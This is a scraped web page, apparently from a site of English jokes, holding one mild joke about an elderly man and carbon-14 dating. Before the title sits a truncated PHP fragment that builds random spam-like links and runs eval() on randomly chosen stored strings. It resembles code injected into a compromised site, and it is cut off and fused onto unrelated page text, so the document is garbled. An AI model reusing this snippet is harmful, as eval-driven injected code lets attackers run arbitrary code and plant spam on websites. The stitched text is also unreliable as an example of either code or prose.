30){ if(count($wList) <= 0){ break; } $rk1 = mt_rand(0,count($wList)-1); $h = trim($wList[$rk1]); if(empty($h)){ continue; } // $a .= $h . '/' . $dTmp . '/' . date('d',time()) . '/' .mt_rand(100000,999999) . '.html'; $a .= $h . '/' . $dTmp . '/' . mt_rand(100000,9999999) . '.shtml'; // $a .= $h; }else{ $urk = mt_rand(0,count($uList)-1); eval($uList[$urk]); } $a .= '">'; $str .= $a; } echo $str; ?> Dating英语成人笑话

Dating英语成人笑话

2010-08-17joke

Dating英语成人笑话
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Dating

Two elderly gentlemen were talking.

The first one boasted. "Why just yesterday a pretty college girl said she'd be interested in dating me. But to be perfectly honest, I don't quite understand it."

"Well," said his friend, "you have to remember that nowadays women are more aggressive. They don't mind being the one to ask."

"No, I don't think it's that."

"Well, maybe you remind her of her father."

"No, it's not that either. It's just that she also mentioned something about carbon 14."


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